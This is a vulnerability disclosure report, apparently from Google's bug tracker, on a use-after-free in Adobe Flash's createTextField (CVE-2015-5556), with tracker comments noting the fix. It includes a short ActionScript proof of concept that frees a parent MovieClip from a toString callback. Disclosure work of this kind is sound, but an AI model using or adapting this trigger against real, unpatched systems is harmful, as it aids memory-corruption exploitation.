Adobe Flash: Use-after-free in createTextField

[GoogleCodeExporter]

There is a use-after-free in CreateTextField. If a flash file contains a 
MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into 
a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){

    l2.removeMovieClip();
    return "myname";

    }

A sample SWF and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 27 May 2015 at 8:52

Attachments:

• ctf.fla
• ctf.swf

[GoogleCodeExporter]

Original comment by scvi...@google.com on 28 May 2015 at 4:59

• Added labels: Reported-2015-May-27
• Removed labels: Reported-2015-05-27

[GoogleCodeExporter]

Original comment by natashe...@google.com on 29 May 2015 at 10:46

• Added labels: Reported-2015-May-29
• Removed labels: Reported-2015-May-27

[GoogleCodeExporter]

This is PSIRT-3768

Original comment by natashe...@google.com on 1 Jun 2015 at 8:57

[GoogleCodeExporter]

Original comment by natashe...@google.com on 11 Aug 2015 at 3:24

• Added labels: CVE-2015-5556, Id-3768

[GoogleCodeExporter]

Original comment by natashe...@google.com on 11 Aug 2015 at 3:26

• Changed state: Fixed

[GoogleCodeExporter]

Fixed in https://helpx.adobe.com/security/products/flash-player/apsb15-19.html

Original comment by natashe...@google.com on 18 Aug 2015 at 7:38

• Removed labels: Restrict-View-Commit